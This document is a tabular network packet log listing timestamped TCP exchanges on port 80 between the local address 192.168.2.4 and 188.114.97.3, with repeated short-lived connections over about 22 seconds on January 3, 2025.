Jan 3, 2025 11:47:34.618935108 CET	51600	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:34.619060040 CET	51600	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:34.623883963 CET	80	51600	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:34.737500906 CET	51601	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:34.742427111 CET	80	51601	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:34.742487907 CET	51601	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:34.742619991 CET	51601	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:34.747459888 CET	80	51601	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:34.971466064 CET	51600	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:34.976416111 CET	80	51600	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:34.976485014 CET	80	51600	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:35.084541082 CET	80	51600	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:35.096458912 CET	51601	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:35.101377010 CET	80	51601	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:35.127665997 CET	51600	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:35.205035925 CET	80	51601	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:35.252625942 CET	51601	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:35.337937117 CET	80	51600	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:35.393218994 CET	51600	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:35.457317114 CET	80	51601	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:35.502604961 CET	51601	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:35.576854944 CET	51601	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:35.576855898 CET	51600	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:35.577611923 CET	51602	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:35.581897974 CET	80	51601	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:35.581973076 CET	51601	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:35.582237005 CET	80	51600	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:35.582370043 CET	51600	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:35.582415104 CET	80	51602	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:35.582530975 CET	51602	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:35.582612991 CET	51602	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:35.587344885 CET	80	51602	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:35.941612005 CET	51602	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:35.946430922 CET	80	51602	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:36.025945902 CET	80	51602	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:36.080774069 CET	51602	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:36.279268980 CET	80	51602	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:36.330940008 CET	51602	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:36.406682968 CET	51604	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:36.411715984 CET	80	51604	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:36.413805008 CET	51604	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:36.413925886 CET	51604	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:36.418673038 CET	80	51604	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:36.768697977 CET	51604	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:36.773541927 CET	80	51604	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:36.857420921 CET	80	51604	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:36.908849955 CET	51604	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:37.107342005 CET	80	51604	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:37.159722090 CET	51604	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:37.779059887 CET	51604	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:37.784116983 CET	80	51604	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:37.784181118 CET	51604	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:38.294948101 CET	51605	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:38.299957037 CET	80	51605	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:38.300023079 CET	51605	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:38.303020954 CET	51605	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:38.307840109 CET	80	51605	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:38.659832001 CET	51605	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:38.664911032 CET	80	51605	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:38.772146940 CET	80	51605	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:38.817975044 CET	51605	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:38.948456049 CET	80	51605	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:39.002700090 CET	51605	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:39.070282936 CET	51605	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:39.070286036 CET	51606	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:39.075186968 CET	80	51606	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:39.075454950 CET	80	51605	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:39.075541019 CET	51605	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:39.075540066 CET	51606	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:39.075834990 CET	51606	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:39.080634117 CET	80	51606	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:39.424715042 CET	51606	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:39.429614067 CET	80	51606	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:39.518207073 CET	80	51606	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:39.565112114 CET	51606	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:39.692744017 CET	80	51606	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:39.752636909 CET	51606	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:40.440663099 CET	51606	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:40.441016912 CET	51607	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:40.445764065 CET	80	51606	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:40.445837975 CET	80	51607	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:40.445846081 CET	51606	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:40.446003914 CET	51607	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:40.446260929 CET	51607	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:40.451047897 CET	80	51607	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:40.466114044 CET	51607	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:40.468121052 CET	51608	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:40.473014116 CET	80	51608	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:40.473169088 CET	51608	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:40.474355936 CET	51608	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:40.479160070 CET	80	51608	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:40.515415907 CET	80	51607	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:40.817920923 CET	80	51607	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:40.817979097 CET	51607	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:40.830882072 CET	51608	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:40.835736990 CET	80	51608	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:40.944822073 CET	80	51608	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:40.986999989 CET	51608	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:41.208700895 CET	80	51608	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:41.210582018 CET	51602	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:41.252619028 CET	51608	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:41.329879045 CET	51608	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:41.330605030 CET	51609	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:41.335211039 CET	80	51608	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:41.335266113 CET	51608	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:41.335645914 CET	80	51609	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:41.335788012 CET	51609	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:41.335889101 CET	51609	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:41.340794086 CET	80	51609	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:41.690269947 CET	51609	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:41.695132017 CET	80	51609	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:41.783462048 CET	80	51609	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:41.830730915 CET	51609	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:42.049689054 CET	80	51609	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:42.096375942 CET	51609	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:42.171490908 CET	51610	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:42.176438093 CET	80	51610	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:42.176506996 CET	51610	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:42.176593065 CET	51610	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:42.181369066 CET	80	51610	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:42.534095049 CET	51610	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:42.539030075 CET	80	51610	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:42.630362988 CET	80	51610	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:42.674531937 CET	51610	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:42.889610052 CET	80	51610	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:42.940119028 CET	51610	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:43.204193115 CET	51610	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:43.205002069 CET	51611	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:43.209497929 CET	80	51610	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:43.209557056 CET	51610	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:43.210150003 CET	80	51611	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:43.210211992 CET	51611	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:43.210342884 CET	51611	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:43.215353966 CET	80	51611	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:43.565604925 CET	51611	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:43.570466042 CET	80	51611	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:43.681215048 CET	80	51611	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:43.721369028 CET	51611	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:43.930918932 CET	80	51611	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:43.971384048 CET	51611	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:44.045317888 CET	51609	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:44.049097061 CET	51611	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:44.050009012 CET	51612	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:44.053998947 CET	80	51611	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:44.054056883 CET	51611	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:44.054855108 CET	80	51612	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:44.055044889 CET	51612	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:44.055157900 CET	51612	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:44.059890032 CET	80	51612	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:44.409015894 CET	51612	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:44.413964033 CET	80	51612	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:44.498613119 CET	80	51612	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:44.549504995 CET	51612	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:44.760375023 CET	80	51612	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:44.815135002 CET	51612	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:44.896817923 CET	51612	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:44.896826029 CET	51613	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:44.901660919 CET	80	51613	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:44.901866913 CET	80	51612	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:44.901966095 CET	51612	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:44.901966095 CET	51613	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:44.902142048 CET	51613	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:44.906922102 CET	80	51613	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:45.255583048 CET	51613	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:45.260469913 CET	80	51613	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:45.344846964 CET	80	51613	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:45.393264055 CET	51613	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:45.553637028 CET	51614	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:45.555265903 CET	51613	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:45.558463097 CET	80	51614	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:45.560266972 CET	80	51613	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:45.560359955 CET	51614	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:45.560359955 CET	51613	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:45.563155890 CET	51614	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:45.567998886 CET	80	51614	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:45.962413073 CET	51614	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:45.967282057 CET	80	51614	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:45.967395067 CET	80	51614	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:46.004439116 CET	80	51614	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:46.049503088 CET	51614	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:46.161955118 CET	51615	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:46.166810989 CET	80	51615	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:46.166870117 CET	51615	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:46.167078018 CET	51615	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:46.171878099 CET	80	51615	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:46.350342035 CET	80	51614	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:46.393245935 CET	51614	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:46.531275988 CET	51615	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:46.536144018 CET	80	51615	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:46.639599085 CET	80	51615	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:46.690146923 CET	51615	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:46.907011032 CET	80	51615	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:46.955749035 CET	51615	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:47.041192055 CET	51614	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:47.042120934 CET	51615	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:47.042603016 CET	51616	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:47.046329021 CET	80	51614	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:47.046401978 CET	51614	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:47.047107935 CET	80	51615	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:47.047171116 CET	51615	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:47.047431946 CET	80	51616	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:47.047509909 CET	51616	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:47.047629118 CET	51616	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:47.052385092 CET	80	51616	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:47.393484116 CET	51616	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:47.398257971 CET	80	51616	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:47.506712914 CET	80	51616	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:47.565120935 CET	51616	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:47.764585972 CET	80	51616	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:47.815149069 CET	51616	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:47.904081106 CET	51617	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:47.908971071 CET	80	51617	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:47.909044027 CET	51617	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:47.909765005 CET	51617	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:47.914570093 CET	80	51617	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:48.268805027 CET	51617	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:48.273629904 CET	80	51617	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:48.352118015 CET	80	51617	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:48.393270969 CET	51617	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:48.614792109 CET	80	51617	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:48.658895016 CET	51617	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:48.886753082 CET	51617	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:48.887139082 CET	51618	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:48.891804934 CET	80	51617	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:48.891870022 CET	51617	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:48.892004013 CET	80	51618	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:48.892101049 CET	51618	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:48.892208099 CET	51618	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:48.896922112 CET	80	51618	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:49.237960100 CET	51618	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:49.242805958 CET	80	51618	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:49.336078882 CET	80	51618	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:49.377635002 CET	51618	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:49.507107973 CET	80	51618	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:49.549523115 CET	51618	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:49.624464035 CET	51616	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:49.624895096 CET	51618	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:49.625606060 CET	51619	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:49.629858971 CET	80	51618	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:49.629920959 CET	51618	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:49.630388975 CET	80	51619	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:49.630449057 CET	51619	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:49.630553961 CET	51619	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:49.635368109 CET	80	51619	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:49.987200975 CET	51619	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:49.992070913 CET	80	51619	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:50.074994087 CET	80	51619	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:50.127644062 CET	51619	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:50.340265989 CET	80	51619	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:50.393285036 CET	51619	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:50.468251944 CET	51619	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:50.469027996 CET	51620	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:50.473184109 CET	80	51619	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:50.473253965 CET	51619	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:50.473836899 CET	80	51620	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:50.473908901 CET	51620	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:50.474009037 CET	51620	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:50.478768110 CET	80	51620	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:50.831506014 CET	51620	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:50.836407900 CET	80	51620	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:50.928039074 CET	80	51620	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:50.971410990 CET	51620	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:51.110956907 CET	80	51620	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:51.159914970 CET	51620	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:51.815454960 CET	51620	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:51.816499949 CET	51621	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:51.820554018 CET	80	51620	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:51.820611954 CET	51620	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:51.821373940 CET	80	51621	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:51.821438074 CET	51621	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:51.821645021 CET	51621	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:51.826467991 CET	80	51621	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:51.826628923 CET	51621	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:51.827104092 CET	51622	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:51.831875086 CET	80	51622	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:51.831937075 CET	51622	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:51.832134962 CET	51622	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:51.836922884 CET	80	51622	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:51.871431112 CET	80	51621	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:52.177675962 CET	80	51621	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:52.177752972 CET	51621	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:52.190241098 CET	51622	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:52.195123911 CET	80	51622	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:52.276192904 CET	80	51622	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:52.330785990 CET	51622	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:52.541475058 CET	80	51622	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:52.596441984 CET	51622	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:52.655134916 CET	51622	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:52.655951977 CET	51623	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:52.660166979 CET	80	51622	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:52.660381079 CET	51622	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:52.660763979 CET	80	51623	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:52.660839081 CET	51623	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:52.660950899 CET	51623	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:52.665759087 CET	80	51623	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:53.018412113 CET	51623	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:53.023267984 CET	80	51623	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:53.108345032 CET	80	51623	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:53.158910036 CET	51623	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:53.365602016 CET	80	51623	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:53.408899069 CET	51623	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:53.486418962 CET	51624	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:53.491341114 CET	80	51624	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:53.493910074 CET	51624	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:53.498812914 CET	51624	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:53.503612995 CET	80	51624	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:53.846528053 CET	51624	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:53.851398945 CET	80	51624	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:53.956620932 CET	80	51624	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:54.002676964 CET	51624	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:54.226253033 CET	80	51624	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:54.271657944 CET	51624	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:54.823014021 CET	51624	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:54.823293924 CET	51625	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:54.828049898 CET	80	51624	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:54.828103065 CET	51624	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:54.828125954 CET	80	51625	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:54.828327894 CET	51625	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:54.828998089 CET	51625	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:54.833811045 CET	80	51625	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:55.185647011 CET	51625	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:55.190464020 CET	80	51625	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:55.281490088 CET	80	51625	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:55.330781937 CET	51625	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:55.532394886 CET	80	51625	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:55.580780029 CET	51625	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:55.661715031 CET	51625	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:55.662256002 CET	51626	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:55.666754007 CET	80	51625	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:55.666815996 CET	51625	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:55.667064905 CET	80	51626	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:55.667133093 CET	51626	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:55.667216063 CET	51626	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:55.671947002 CET	80	51626	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:56.019617081 CET	51626	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:56.024646997 CET	80	51626	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:56.131484032 CET	80	51626	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:56.174657106 CET	51626	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:56.307951927 CET	80	51626	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:56.362030983 CET	51626	80	192.168.2.4	188.114.97.3
